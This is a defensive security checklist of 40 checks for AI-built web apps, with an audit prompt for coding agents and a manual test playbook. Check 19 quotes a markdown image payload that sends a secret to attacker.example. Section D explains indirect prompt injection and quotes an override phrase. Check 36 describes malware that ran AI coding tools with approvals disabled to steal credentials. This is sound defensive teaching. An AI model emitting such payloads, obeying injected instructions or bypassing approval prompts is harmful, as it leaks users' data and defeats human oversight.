# Vibe Hacking: what to check before you ship

A practical security audit you can hand to Claude, Cursor, or any coding agent, to
find the things attackers actually target in AI-built applications.

**Version 3 · October 2026 · 40 checks**
Free to copy, adapt and share.

---

## Contents

- [What "vibe hacking" means](#what-vibe-hacking-means)
- [Why asking "is this secure?" does not work](#why-asking-is-this-secure-does-not-work)
- [How to use this file](#how-to-use-this-file)
- [Audit instructions — paste this](#audit-instructions--paste-this)
- **A. Data access and authorization** — checks 1–6
- **B. Secrets and keys** — checks 7–11
- **C. Money and abuse** — checks 12–16
- **D. AI features: prompt injection and agent authority** — checks 17–21
- **E. Input handling and the classic web flaws** — checks 22–26
- **F. Accounts and sessions** — checks 27–30
- **G. Deployment and infrastructure exposure** — checks 31–34
- **H. Your supply chain and your own machine** — checks 35–40
- [The manual test playbook](#the-manual-test-playbook)
- [Platform quick reference](#platform-quick-reference)
- [What this file does not do](#what-this-file-does-not-do)

---

## What "vibe hacking" means

Vibe coding is describing an app and letting a model write it. **Vibe hacking is
describing a target and letting a model attack it.**

Two things changed at once, and they compound:

**1. Attackers got cheap scale.** Finding vulnerabilities is tool-shaped work, and
tools automate well. One person can now research an entire industry in an afternoon
and probe hundreds of targets in a week. Small organisations were never safe because
they were secure. They were safe because attention cost money, so targeting had to be
worth a human's time. That filter is gone.

**2. AI-built apps share predictable soft spots.** The same prompts produce the same
gaps. An attacker does not need to understand your application. They need to know what
generated code usually forgets, and that list is short, stable, and published.

There is a third, nastier wrinkle. Generated code can contain a control that does not
work — a function named as though it sanitises input which, on inspection, does
nothing. Your code then *reads* as defended and passes any review that checks whether a
control is **present** rather than whether it **works**.

The practical consequence is a change in the question worth asking. It is no longer
*"am I interesting enough to attack?"* It is **"is anything about me easy?"**

Nearly everything found at scale is boring: a key in a bundle, a table with no access
policy, an ID you can change in a URL, an endpoint with no rate limit. Fixing those
does not make you secure. It makes you **expensive**, and expensive is the whole game
when the attacker is optimising for volume.

---

## Why asking "is this secure?" does not work

A developer configured row-level security on his app correctly. Users could read and
write only their own data. He asked **both Claude and Cursor** to audit it. Both said
it was fine.

Strangers still gave themselves premium accounts and ran up his AI bill.

His policy said *users may edit their own row*. The problem was what was **on** that
row: subscription status and the rate-limit counter. "Users may edit their own row" is
also "users may edit their own billing status." Both sentences describe the same rule.
Only one of them sounds like a vulnerability.

> "These tools are great at catching most RLS misconfigurations, but when it gets to
> something a little more complicated, like thinking through how RLS can be manipulated
> so that they can abuse costs and cause financial damage, it sometimes does miss this
> stuff. Especially when the RLS is technically correct, but the problem is with the
> underlying data that you're storing."

**The lesson:** a model asked to check whether your rules are correct will check
whether your rules are correct, and report success. The flaw is usually one level up,
in a decision that does not look like a security decision.

Automated review is good at finding a rule being broken: a policy that is missing, a
key that is exposed, a route with no check on it. It is weak at finding a design that
is internally consistent and still wrong, because there is no rule being broken for it
to notice.

So every question below is deliberately adversarial and specific. Never ask *"is this
correct?"* Ask *"how would I cheat this?"*

---

## How to use this file

1. Open your project in Claude Code, Cursor, or your agent of choice.
2. Paste the **Audit instructions** block below, then attach this whole file.
3. Work the findings in severity order. Fix Critical before anything else.
4. **Verify the important ones by hand.** A passed audit is a hypothesis, not a result.
   Manual checks are marked 🔍 and most take under two minutes. The
   [playbook](#the-manual-test-playbook) collects them into one 20-minute pass.
5. Re-run after any feature that touches auth, payments, file uploads, or an LLM.

**A note on scope.** If you only have an hour, do section A (data access), check 7
(secrets in the bundle), and check 12 (spend caps). Those three cover the failures that
cost real money and are the ones scaled attacks are built to harvest.

---

## Audit instructions — paste this

```
You are performing an adversarial security review of this codebase. I built it
largely with AI assistance and I want to know how someone would abuse it.

Rules for this review:

1. Do NOT answer the question "is this correct". Answer "how would I exploit this".
   Assume the attacker has read every line of front-end code, knows every endpoint,
   can send any request with any values, and is willing to automate.

2. For every finding give me: exact file and line, a concrete exploitation path in
   plain language, the realistic worst outcome, and the smallest fix that closes it.

3. Rank by what it costs me, not by CVSS. Money leaving my account and other
   people's data leaking rank above everything else. Then account takeover. Then
   everything else.

4. If you cannot determine something from the code alone, write UNVERIFIED and tell
   me exactly what to check by hand. Do not guess. Do not assume a control exists
   because a file name, function name, or comment suggests it does — open it and
   confirm the body actually does the thing its name claims.

5. Do not tell me the code is fine. Tell me what you checked, what you could not
   check, and what you found. If a category genuinely does not apply, say why in one
   line.

6. Check the real configuration wherever you can reach it: migrations, policy files,
   config files, environment variable names, CI workflow files, and any dashboard
   state you have access to via MCP or CLI. Application code alone will mislead you.

7. Pay specific attention to decisions that do not look like security decisions:
   which columns live on which table, what a default value is, what happens on the
   error path, and what an endpoint does when a parameter is missing.

Work through every check in the attached file. Produce a findings table:

| Severity | File:line | What an attacker does | Worst outcome | Fix |

Then list every check you could not complete, and why.
```

---

# The checks

---

# A. Data access and authorization

The category that leaks other people's data. Start here.

### 1. Entitlements stored on a row the user can write

**Severity: Critical.** The single most common serious flaw in AI-built apps.

Look for columns like `plan`, `tier`, `subscription_status`, `credits`, `balance`,
`is_premium`, `is_admin`, `role`, `permissions`, `rate_limit`, `quota`, `trial_ends_at`,
`verified`, `is_banned` sitting on a table the user has an UPDATE policy on — usually
`profiles` or `users`.

If a user can write that row, they can award themselves anything on it.

**Fix:** split tables by *who may write them*, not by what they describe.

- Things the user owns — name, avatar, preferences, their content — can live on a
  writable row.
- Things the business decides about the user — plan, credits, limits, role, verification
  status — belong on a separate table with **no client write policy at all**, updated
  only by your server or a payment webhook.

🔍 **Verify:** sign in as a normal user and attempt the update directly against your
API, not through your UI. If the write succeeds, you have the bug, whatever any audit
told you.

---

### 2. Row-level security not actually on

**Severity: Critical.**

On Supabase, RLS is enabled for you when you create a table **through the dashboard**,
and **not** when you create it with SQL.

**An agent writes SQL.** So the generated path is the unprotected one, and the app
behaves identically either way during testing, because the difference only appears when
somebody who is not you queries it.

With RLS off, a table in an exposed schema is readable by anyone holding your
publishable key, which is to say anyone.

🔍 **Verify:** list every table and check its RLS status. Do not sample. Check all of
them, including tables added later, join tables, and anything in `storage`.

---

### 3. Policies that exist but allow everything

**Severity: Critical.**

A policy of `true` is not a policy. It is the absence of one, written down. It is
especially dangerous on INSERT, where it means anyone can insert **any** data, including
rows attributed to other people.

Supabase's own Security Advisor does **not** flag an INSERT policy set to `true`. A clean
advisor means no policy is *missing*. It does not mean your policies are *right*.

**Check each operation separately.** SELECT, INSERT, UPDATE and DELETE each need their
own policy, and the common mistake is writing a correct SELECT policy and a permissive
everything-else.

**Fix:** no policy at all means denied, which is a perfectly good default. Only write the
ones you need, and make ownership explicit: `auth.uid() = owner_column`.

---

### 4. Authentication without authorization

**Severity: Critical.**

Being signed in and being entitled to a *specific* record are different questions.
Generated routes routinely check only the first.

Look for any handler that takes an ID from the request and fetches or mutates that
record without confirming the current user owns it. This is the classic insecure direct
object reference, and it is everywhere in generated code because the prompt said
"build an endpoint to get an invoice," not "build an endpoint to get an invoice the
caller is allowed to see."

🔍 **Verify — the two-minute test that finds most of these:**
1. Open the Network tab and do something normal in your app.
2. Right-click a request → **Copy as cURL**.
3. Paste into a terminal, **change the ID to a different one**, run it. If somebody
   else's record comes back, that is the bug.
4. Run it again with the `Authorization` and `Cookie` headers **deleted**. If data still
   comes back, your API has no authentication at all and the login screen was only
   protecting the interface.

---

### 5. Multi-tenant leakage

**Severity: Critical** if you have organisations, teams, or workspaces.

The per-user check is usually present. The per-**organisation** check is usually not.
Look for queries filtered by the record's own ID but not by the caller's `org_id` or
`team_id`.

The subtle version: a user belongs to Org A, and a resource belongs to Org B, but the
query only asks "does this resource exist" and "is the user logged in."

Also check the **invite flow**. Can someone invite themselves into an org? Can an invite
link be reused, or used by an address it was not sent to? Can a member escalate to owner?

🔍 **Verify:** create two orgs with two accounts. From Org A, request a resource ID
belonging to Org B.

---

### 6. Views, functions and the back doors into your data

**Severity: High.** The three places row-level security quietly does not apply.

- **Views.** A view can bypass the policies on the tables beneath it. Check every view
  in an exposed schema.
- **Database functions.** `SECURITY DEFINER` runs as the function's creator and ignores
  the caller's permissions. That is sometimes exactly what you want, which is why it
  gets used, and it is a privilege escalation when the function takes user input and
  does not validate it. Prefer `SECURITY INVOKER`, and always pin `search_path` on a
  definer function.
- **Exposed schemas.** Check which schemas are reachable through the API at all. The
  default is usually `public`, but people add others and forget.

Also: **Realtime subscriptions**. If your app subscribes to database changes, confirm
the subscription is authorised. Streaming changes to a client is still reading data, and
it needs the same policy.

---

# B. Secrets and keys

### 7. Secrets shipped to the browser

**Severity: Critical.** Two mechanisms, often combined into one disaster.

**Build-time inlining.** Any variable prefixed `NEXT_PUBLIC_` (or `VITE_`, `PUBLIC_`,
`REACT_APP_`, `EXPO_PUBLIC_`) is **substituted into the JavaScript bundle at build
time**. It is in `view-source:` permanently. Rotating the environment variable changes
nothing until you rebuild and redeploy.

**Key confusion.** A Supabase publishable/`anon` key in the browser is fine *by design* —
but only because RLS is doing the work. A `service_role`/secret key **bypasses every
policy you wrote** and is never safe to expose.

The canonical catastrophe is `NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY`: the prefix
guarantees it ships to every visitor, and the key ignores every protection you built.

🔍 **Verify:** open your deployed app, press F12, go to **Sources**, and search the
bundle for `service_role`, `secret`, `sk-`, `sk_live`, `postgres://`, `apikey`,
`BEGIN PRIVATE KEY`, and your actual secret values. Thirty seconds, and it is conclusive.

---

### 8. Secrets in git history

**Severity: Critical.**

A key deleted in a later commit is still in the repository forever. Anyone who clones it
gets the whole history. Public repos are scraped continuously, and keys posted to GitHub
have been observed being used within minutes.

🔍 **Verify:** search your **full history**, not the working tree:
```bash
git log -p | grep -iE "sk-|sk_live|service_role|postgres://|BEGIN (RSA|PRIVATE)"
```
Better, run a dedicated scanner (`gitleaks`, `trufflehog`) over the whole history.

**If you find one, rotate it first.** Rewriting history does not un-leak it, because you
do not know who already cloned.

Also check: is `.env` in `.gitignore`? Is `.env.example` free of real values? Did a
screenshot or a pasted log in an issue contain a key?

---

### 9. Over-permissioned keys

**Severity: Critical.**

Starter instructions issue broad credentials because narrow ones are more work to set
up. The result is a key that could do far more than its job.

**Assume every key you create will eventually be public**, then ask what it can do on
its worst day. If the answer is anything beyond its single purpose, issue a narrower one.

Specifically: can your storage key delete buckets? Can your cloud key start compute? Can
your model key access other projects? Can a read-only feature's key write?

---

### 10. Secrets reachable from the server, used carelessly

**Severity: High.**

The secret key is correctly on the server. The problem is the route that uses it.

Look for API routes that instantiate a service-role or admin client and then act on an
ID taken from the request, **without checking the caller's identity first**. You have
built a proxy that bypasses your own access rules on request. This is a very common
pattern in generated code, because "use the admin client so the query works" is an
effective way to make a failing query pass.

**Rule:** if a route uses an admin credential, the first thing in that route must be an
authorisation check, and it must be about the caller, not the request body.

---

### 11. Source maps and build artefacts in production

**Severity: Medium.**

Source maps reconstruct your original source, including comments and sometimes
unreferenced code paths and internal URLs. Check whether `.map` files are served
publicly. Also confirm `/.git/`, `/.env`, `/backup.sql` and similar are not reachable on
your domain — on most managed hosts they are not, but check if you have custom routing.

---

# C. Money and abuse

### 12. Nothing caps what you can spend

**Severity: Critical.** For most small apps, the realistic worst case.

An unauthenticated endpoint that calls a paid model is not a performance concern. It is a
billing vulnerability, sometimes called **denial of wallet**.

Three failures usually stack:
- The endpoint has no rate limit.
- The key behind it is over-permissioned.
- No spend cap anywhere says stop.

Remove any one and the story ends quietly.

**What most people get wrong:** a budget alert is not a cap. And several platforms
document that even their *cap* does not fully halt spending — on Vercel, setting a spend
amount "does not stop usage on its own," pausing lags by minutes, and pausing "does not
stop AI Gateway API key usage."

**Who actually hard-stops by default** (checked October 2026): Anthropic and OpenAI stop
at the tier limit. Supabase's spend cap is on by default on Pro. Cloudflare, Twilio,
Google Cloud and Firebase **alert only**. Netlify has no usage limit outside Enterprise.

**Fix:**
- Set a hard cap **at every provider that sends you an invoice**, not just at your host.
  Your host cannot stop your model spend.
- Rate limit anything unauthenticated that costs money per call. On Vercel this is now
  free on all plans — one rule per project, about five minutes of work, and most people
  still believe it is paywalled.
- Require authentication on paid endpoints so there is a unit you can suspend.
- Scope every key to one job.

> "It is so much better for your app to go down for a little bit than for you to wake up
> with a $10,000 bill."

**Do not plan on forgiveness.** It happens and it is not policy. In the two
best-documented 2026 cases — roughly €54,000 and $67,000 of model spend from leaked keys
— the vendor acknowledged the compromise in writing and **refused the refund**.

---

### 13. Limits enforced in the interface instead of the server

**Severity: Critical.**

A disabled button is a suggestion. The endpoint behind it is visible to anyone who opens
the Network tab and will answer direct requests all day.

Check that every quota, credit count, usage limit and plan gate is enforced **in the
handler**, not in the component. The front end should reflect the limit; the server must
impose it.

Add a per-IP limit alongside the per-user one, since per-user limits fall to mass account
creation.

---

### 14. Decisions made on the client

**Severity: Critical.**

Watch what your app sends when it does something expensive. If the request carries a
**price, plan name, credit count, quota, discount code result, or role**, your server is
taking the client's word for it — and the client is editable by anyone.

Anything deciding cost or entitlement must be looked up server-side from an ID, never
accepted from the request body.

The generated shape to look for: a checkout endpoint that accepts `amount` instead of
`priceId`, or a signup endpoint that accepts `role`.

---

### 15. Mass assignment

**Severity: High.**

A handler that spreads the request body straight into a database update will happily
write whatever the attacker put in it, including fields your form never shows.

```js
// dangerous: whatever arrives gets written
await db.from('profiles').update({ ...req.body }).eq('id', userId)
```

An attacker adds `"role":"admin"` or `"credits":999999` to the payload and you wrote it
for them. This is check 1 and check 14 arriving together through a different door.

**Fix:** allow-list the fields you accept. Never spread a request body into a write.

---

### 16. Retries without idempotency

**Severity: High.** The one that double-charges customers.

Your API clients retry by default and most people do not know it. As of October 2026, the
OpenAI and Anthropic SDKs both default to **2 retries on a 600-second timeout** — three
attempts of up to ten minutes each.

A timeout does not tell you the operation failed. It tells you that you stopped hearing
about it. So an automatic retry is a request to do the thing again, sent in ignorance of
whether it already happened. For anything that charges money or sends a message, that is
a second charge or a second email.

**Fix:** pass an idempotency key **derived from the business operation**
(`order-charge:{orderId}`), never generated fresh inside the retry — a new UUID per
attempt defeats the whole mechanism while appearing to use it. Set a timeout shorter than
your function's limit and a retry count you actually chose.

⚠️ **The subtlety nothing teaches:** a unique constraint on an events table protects
*your database*, not the call to the payment provider, which happens outside that
transaction. The duplicate charges the card and *then* fails on the constraint. You end up
with one order row, two charges, and an error log that looks like the duplicate was
prevented. The only complete answer is to reconcile against the provider.

---

# D. AI features: prompt injection and agent authority

If your app sends user-influenced text to a model, this section applies to you. It is the
newest category and the least covered by generic security advice. OWASP maintains a Top 10
for LLM applications, and prompt injection sits at number one.

### 17. Indirect prompt injection

**Severity: Critical** where the model can act.

Direct injection is a user typing "ignore your instructions." That is the version
everyone knows and it is the less dangerous one.

**Indirect injection** is instructions arriving inside *content your app processes*: a
support ticket, an uploaded PDF, a scraped web page, a product review, a calendar invite,
an email, the contents of a repository. The attacker never touches your interface. They
plant text where your model will read it.

**The mechanism that makes this hard:** a language model does not reliably distinguish
instructions from data. Everything in the context window is text. Your system prompt has
no privileged position except by convention, and that convention does not hold under
adversarial pressure.

**What to look for:** any place untrusted content enters a prompt. User profiles,
file contents, search results, database fields written by other users, third-party API
responses, anything scraped.

**Fix, in order of effectiveness:**
1. **Reduce authority.** The model should not hold permissions the user does not have.
   This is the only robust control.
2. **Separate channels.** Keep untrusted content in a clearly delimited block and say in
   the system prompt that content there is data, never instructions. This helps and is
   not sufficient on its own.
3. **Confirm before consequence.** Any irreversible or costly action a model triggers
   should require a human click.
4. **Do not treat model output as trusted input** to anything else.

---

### 18. Agents with more authority than the user

**Severity: Critical.**

If your app has a model that calls tools, the question is not what the model is supposed
to do. It is what it *can* do when text in its context asks it to.

Check each tool the model can call:
- Does it run with the **caller's** permissions, or with an admin credential?
- Can it read records the current user cannot?
- Can it write, delete, send, or spend?
- Is there a cap on how many times it can be called in one session?

**The rule:** a model acting on behalf of a user should have exactly that user's
permissions and no more. If a tool uses a service credential, the authorisation check
belongs in the tool, before the action.

---

### 19. Output rendered without escaping

**Severity: High.**

Model output is untrusted. Rendering it as raw HTML or markdown creates two problems:

- **XSS**, if the output reaches `dangerouslySetInnerHTML` or an equivalent.
- **Exfiltration via image rendering.** If markdown images render, an injected
  instruction can tell the model to emit `![](https://attacker.example/?d=SECRET)`, and
  the browser quietly sends your data in the query string when it loads the image. This
  also applies to auto-linked URLs.

**Fix:** escape model output like any other user input. If you render markdown, restrict
which elements are allowed and consider blocking remote image loads, or use a strict CSP
that only permits images from hosts you control.

---

### 20. System prompts and model keys treated as secrets they are not

**Severity: Medium.**

If your model call happens in the browser, your system prompt and your model key are
public. People extract system prompts routinely; treat yours as published.

More importantly, a model key in client code is check 7 with a bigger bill attached.
**Every call to a paid model belongs on the server**, behind authentication and a rate
limit.

---

### 21. No ceiling on model spend per user

**Severity: High.**

Separate from check 12, which is about the global cap. This one is per-account.

Without a per-user ceiling, one account — real or created for the purpose — can consume
your entire budget. Check that you count tokens or calls per user, that the count lives
server-side, and that hitting it actually blocks rather than logs.

Also cap **input size**. A user pasting a very large document into a feature priced per
token is a cost incident that requires no malice at all.

---

# E. Input handling and the classic web flaws

### 22. SQL injection

**Severity: Critical** where present.

Parameterised queries and ORMs make this rare in generated app code, which is exactly why
it survives in the places people hand-write SQL:

- Database functions and RPCs that build SQL by string concatenation.
- Dynamic `ORDER BY` or table names taken from a request.
- Raw query escape hatches used to make something work.
- Search features that interpolate a term into a `LIKE` pattern.

🔍 **Verify:** grep for raw query helpers and string-built SQL, then read every one.

---

### 23. Cross-site scripting

**Severity: High.**

React escapes by default, which handles most of it. The exceptions are where it matters:

- `dangerouslySetInnerHTML` anywhere near user content.
- Markdown renderers without sanitisation.
- User-supplied URLs placed in `href` (`javascript:` payloads).
- SVG uploads rendered inline — SVG can carry script.
- Anything rendering model output (see check 19).

---

### 24. Server-side request forgery

**Severity: High**, and badly under-checked in AI-built apps because the features that
cause it are popular.

Any feature that **fetches a URL the user supplied** can be pointed somewhere else:
link previews, importers, avatar-from-URL, webhook testers, "scrape this page for me,"
PDF generation from a URL, and any model tool that browses.

The classic target is cloud metadata endpoints, which can hand over credentials. Internal
services with no authentication are the other.

**Fix:** allow-list schemes (`https` only) and hosts where you can. Block private and
link-local address ranges, resolve the hostname and check the resolved IP rather than the
string, and re-check after redirects.

---

### 25. Cross-origin and cross-site request settings

**Severity: Medium to High.**

**CORS:** `Access-Control-Allow-Origin: *` combined with
`Access-Control-Allow-Credentials: true` is the dangerous pair. Also look for code that
reflects the `Origin` header back, which is a wildcard wearing a disguise.

**CSRF:** relevant for cookie-based sessions. Confirm cookies are `SameSite=Lax` or
`Strict` and that state-changing routes are not plain GETs. Note that webhook routes are
deliberately CSRF-exempt, which is why their signature check carries the whole load (see
check 26).

---

### 26. Webhook endpoints with no signature verification

**Severity: Critical.**

A webhook route is a public, unauthenticated POST endpoint that changes your billing
state. Providers also tell you to exempt it from CSRF protection, which means the
signature check is not one layer of defence — it is the **only** authentication on that
route.

Without it, anyone who knows the URL can fake a "payment succeeded" event.

**Four ways this breaks specifically in Next.js:**
- **Parsed body.** Verification runs over the exact raw bytes. Use `await request.text()`
  and read it once.
- **Middleware.** A matcher that catches the webhook path can consume or alter the body
  first. Exclude it.
- **Wrong function on edge runtimes.** Use the async verification variant.
- **Scheme downgrade.** Stripe sends a fake `v0` signature for test events. Accept only
  `v1`.

⚠️ **Replay:** GitHub, Shopify and Twilio sign only the body, with **no timestamp**, so a
captured request stays valid indefinitely. Deduplicate on the provider's event ID stored
in your database — never an in-memory set, which is per-instance and evaporates.

**Also compare secrets in constant time.** `crypto.timingSafeEqual`, not `===`.

---

# F. Accounts and sessions

### 27. Trusting the session cookie

**Severity: Critical.**

On the server, read the user from a call that **verifies the token signature**
(`getUser()` / `getClaims()`), not one that simply decodes whatever is in the cookie
(`getSession()`). The latter reads the session out of the cookie without revalidating it,
and cookies are attacker-controlled.

This is a one-word change that generated code gets wrong constantly, because both
functions return something that looks like a user.

---

### 28. Auth configuration nobody looks at

**Severity: High.**

Defaults on a new project are permissive. Check:

- Email confirmation required before the account is usable.
- Whether signup is open, and whether it should be.
- Password policy and leaked-password protection.
- OTP and magic-link expiry — long-lived links in inboxes are account takeover.
- Whether anyone can self-register into a privileged role.
- Whether a demo or seed account with a known password still exists in production.

Open signup where "logged in" was mistaken for "allowed" is one of the most common
findings at scale.

---

### 29. Account lifecycle holes

**Severity: High.** The flows nobody tests because they are tedious.

- **Email change:** does it verify the *new* address before switching? Can it be used to
  take over an account by claiming an address somebody else will later verify?
- **Password reset:** are tokens single-use, short-lived, and invalidated when the
  password changes? Does requesting a reset reveal whether an address exists?
- **Session invalidation:** does changing a password end other sessions? Does deleting a
  user end theirs?
- **Account enumeration:** do login, signup and reset return different errors or timings
  for "no such user" versus "wrong password"? That difference is a user list.

---

### 30. No rate limit on authentication endpoints

**Severity: High.**

Separate from the cost-driven rate limiting in check 12. Login, signup, password reset
and OTP verification need limits because credential stuffing is automated and cheap, and
because sending email or SMS costs you money per attempt.

An unlimited password-reset endpoint is both an account-security problem and a billing
one.

---

# G. Deployment and infrastructure exposure

### 31. Storage buckets and file handling

**Severity: Critical** when wrong.

Object storage is a **separate permission system** from your database tables. An app with
perfect RLS can still have a public bucket full of private uploads.

Check:
- Which buckets are public, and whether they should be.
- Policies on the private ones.
- Whether file paths are guessable (sequential IDs, original filenames).
- Signed URL expiry — a URL valid for a year is a public URL with extra steps.
- **Upload validation:** file type checked by content and not just extension, a size
  limit that is enforced server-side, and filenames sanitised against path traversal.
- Whether uploaded SVGs or HTML are served from your own origin, where they can run
  script against your users.

---

### 32. Preview deployments and non-production environments

**Severity: High**, and very commonly missed.

Preview and staging deployments are often **publicly reachable**, indexed, and pointed at
**production data**. That is a complete bypass of any access control you added to your
main domain.

Check: are previews password-protected? Do they use a separate database? Is there an old
staging subdomain still running an unpatched copy of your app?

---

### 33. Scheduled jobs, internal endpoints and debug routes

**Severity: High.**

- **Cron endpoints** on most platforms are ordinary public URLs. If yours is not checking
  a shared secret, anyone can trigger your nightly job as many times as they like. Verify
  the secret, and make the job safe to run twice — platforms document that scheduled runs
  can be **duplicated** and **missed**, with no retry.
- **Debug and seed routes.** `/api/debug`, `/api/seed`, `/api/test`, admin tooling
  reachable without a check. Generated projects accumulate these.
- **Admin pages protected only by not being linked.** Hidden is not protected.

---

### 34. Dependencies, CI, and what your pipeline can reach

**Severity: Medium to High.**

- **`"latest"` in `package.json`** means your build is not reproducible and a dependency
  can change under you between deploys. It is both a stability and a supply-chain
  problem. Pin versions and commit the lockfile.
- **Known vulnerabilities:** run `npm audit` or equivalent, and actually read the result
  rather than running `--force` and moving on.
- **CI secrets:** workflows triggered by pull requests from forks must not have access to
  production secrets. Check which triggers your workflows use.
- **Error output:** confirm stack traces and database errors are not returned to users in
  production. They name your tables, your columns and your file paths.
- **Logs:** check you are not logging tokens, passwords, full request bodies or personal
  data. Logs are often less protected than the database they describe.

---

# H. Your supply chain and your own machine

Every section above assumes the attacker is hitting your deployed app. This one is
about the act of building it, and it is the newest category on the list.

### 35. Packages your model invented

**Severity: Critical** when it happens.

Ask a model for a library and it will sometimes name one that does not exist. If an
attacker has observed which names it invents, that package exists by the time you ask.
The name for this is **slopsquatting**.

Typosquatting relies on a human mistyping, which is rare and random. This relies on
model error, which is **reproducible** — models asked similar questions invent similar
names, so an attacker can harvest the invented names, register the unclaimed ones, and
wait.

**Your normal defences do not see it.** A vulnerability scanner compares what you
installed against a database of known-bad packages; a package registered last week has
no CVE and is not a vulnerable version of anything. A lockfile faithfully pins it.

🔍 **Verify:** for every dependency a model suggested, open the registry page before
installing. How old is it? How many versions? Does it link to a repository with history
and contributors? **A package created recently, with one version and no source link, is
not a library.** Then check your existing manifest for anything you cannot account for.

---

### 36. Install scripts and an agent told to stop asking

**Severity: Critical.** The one most people have not considered at all.

Package managers run post-install scripts by default. A documented npm incident
involved malicious packages whose install scripts looked for AI coding CLIs already
present on the machine and invoked them with **permission prompts disabled** — the
flags variously described as trust-all or auto-approve — then used that borrowed
authority to inventory and exfiltrate repository tokens, registry credentials and
wallets.

That chain needs no vulnerability in your app or your agent. It needs you to have
installed a tool that can read files and run commands, and to have told it to stop
asking.

**Fix:**
- **Do not run an agent with approvals disabled on a machine that holds credentials.**
  If you want that mode, use a container or VM with nothing in it.
- Disable install scripts where practical: `npm config set ignore-scripts true`. Blunt,
  breaks a few packages that genuinely compile, removes the whole category.
- Keep tokens out of the shell environment your agent can read.
- Separate CI from your laptop, and make sure workflows triggered by outside
  contributions cannot reach production secrets.

---

### 37. Path traversal

**Severity: High.** Named alongside hardcoded secrets, SQL injection and cross-site
scripting as one of the most common flaw types in AI-generated code, and the one this
file previously buried inside file uploads.

Anywhere a user-supplied value becomes part of a file path: uploads, downloads, "export
my data", template loading, static file serving, a model tool that reads files. A value
containing `../` escapes the directory you intended.

🔍 **Verify:** grep for path joins built from request data. Resolve the final path and
confirm it still sits inside the intended directory before opening it. Never trust a
filename supplied by a client.

---

### 38. Security requirements absent from the prompt

**Severity: Medium**, but it prevents more than it finds.

Everything else here audits code after it exists. This is the cheaper direction.

Compare "create a login function that checks an email and password against the
database" with the same request specifying rate limiting, parameterised queries, and
the authentication practices you want followed. Same feature, and the second needs most
of this audit less.

**Better: put it where you cannot forget it.** Every serious coding agent reads a
persistent instructions file from the repository. Security requirements belong there —
every table gets an access policy, entitlements never live on a user-writable row, no
secret ever gets a client-visible prefix. A rule that applies to every task beats a
review you perform when you remember to.

---

### 39. The scan reports instead of blocking

**Severity: Medium.**

A scan that reports is advice you can ignore at two in the morning. A scan that stops
the deploy is a decision made in advance by a calmer version of you.

Wire your dependency audit into the step that **ships**, not the step that lints. Some
platforms ship this as a setting; where yours does not, it is a few lines in CI.

⚠️ **The operational trap that goes with it:** fixing a vulnerability in your code does
nothing to your live application until you redeploy. People apply the fix, watch the
scanner go green, and leave the vulnerable build serving traffic. **Check what is
deployed, not what is in your repository.**

---

### 40. Nobody knows which AI tools are in use

**Severity: Medium**, and organisational rather than technical. Skip if you are solo.

The AI flavour of shadow IT: people using assistants nobody approved, pasting customer
data and credentials into prompts, and expanding the attack surface invisibly. If an
approved tool list does not exist, every tool is approved.

Worth having: a short list of permitted tools, a plain statement of what may never be
pasted into one, and somebody who owns the question. The point is not restriction, it
is knowing what to check when a tool turns out to have a problem.


---

# The manual test playbook

Twenty minutes, by hand, no tools beyond a browser and a terminal. This finds more than
any automated pass.

**1. Read your own bundle (2 min).**
Deployed app → F12 → **Sources** → search for `service_role`, `secret`, `sk-`,
`postgres://`. Then the **Network** tab: tick Fetch/XHR and click through your app. You
are now looking at exactly what an attacker looks at.

**2. Change the ID (3 min).**
Copy an authenticated request as cURL. Change the record ID. Run it. Then delete the
`Authorization` and `Cookie` headers and run it again.

**3. Try to promote yourself (3 min).**
Attempt to write directly to your own profile row, setting `role`, `plan`, or `credits`.
If it succeeds, check 1 applies to you.

**4. Look at a response you did not design (2 min).**
Open the Response tab on a list request. Compare the fields returned with the fields
rendered. Hidden columns are not hidden.

**5. Cross the tenant boundary (3 min).**
Two accounts, two orgs. Request Org B's resource while signed in as Org A.

**6. Hit an expensive endpoint in a loop (2 min).**
Ten requests in a row against anything that calls a model. Does anything stop you? If
not, an attacker's loop will not stop either.

**7. Check the money controls (3 min).**
Open each provider that can bill you and find the cap. If what you find only sends an
email, you do not have a cap. You have a notification.

**8. Visit a preview URL signed out (2 min).**
In a private window. If it loads and it talks to production data, fix that today.

**9. Audit your dependency list (3 min).**
Scan your manifest for anything you do not recognise. For each, open its registry page:
age, version count, source link. Anything a model suggested gets looked up before it is
trusted.

**10. Check your agent's permission settings (1 min).**
If approvals are disabled on a machine holding credentials, that is the finding.

---

# Platform quick reference

**Supabase**
- RLS is **not** enabled automatically on tables created with SQL. An agent writes SQL.
- The Security Advisor does not flag an INSERT policy of `true`.
- Blocked writes return **no error**, they silently affect zero rows — so a test asserting
  "this should throw" passes whether your policy works or not. Assert on the data: read
  the row back and confirm it is unchanged.
- `service_role` bypasses all policies. `anon`/publishable is safe **only** because RLS
  works.
- Views and `SECURITY DEFINER` functions can bypass policies.
- Storage is a separate permission system.
- Use `getUser()`/`getClaims()` on the server, never `getSession()`.

**Next.js / Vercel**
- `NEXT_PUBLIC_` is inlined at build time and permanent until rebuild.
- Read raw bytes for webhook verification with `await request.text()`, once.
- Middleware matchers can swallow webhook bodies. Exclude those paths.
- Cron endpoints are public URLs; check a secret. Runs can duplicate and can be missed.
- WAF rate limiting is **free on all plans** — one rule, about five minutes.
- A spend limit does not stop usage by itself, pausing lags, and pausing does not stop AI
  Gateway spend.
- Preview deployments are public unless you protect them.

**Model providers**
- OpenAI and Anthropic SDKs default to retries. Set your own timeout and retry count.
- Anthropic's spend-cap 429 carries no `retry-after`, so automatic retries fail in a loop.
- Set the hard cap at the provider. Your host cannot stop this spend.

---

# What this file does not do

- **It is not a penetration test.** It finds categories, not every instance, and it will
  not find logic flaws specific to your product.
- **It will not find flaws that are internally consistent.** Automated review finds rules
  being broken. A design that is coherent and still wrong breaks no rule, which is exactly
  how the entitlements-on-the-user-row flaw survives review by two different AI tools.
- **A clean result means no issue was found, not that none exists.** If the model reports
  nothing, make it list what it checked and what it could not.
- **Platform defaults change quickly.** Everything here was checked in October 2026.
  Verify against your own plan before relying on a specific limit.
- **Compliance is a different exercise.** If you handle health, financial or EU personal
  data, this list is necessary and nowhere near sufficient.

---

## The five-minute version

If you do nothing else today:

1. Open your deployed app, press F12 → Sources, search the bundle for `service_role` and
   `postgres://`.
2. Confirm **every** table has row-level security on. Check views and storage too.
3. Copy one authenticated request as cURL, change the ID, run it. Then strip the auth
   headers and run it again.
4. Check that no column deciding plan, credits, limits or role sits on a row the user can
   write.
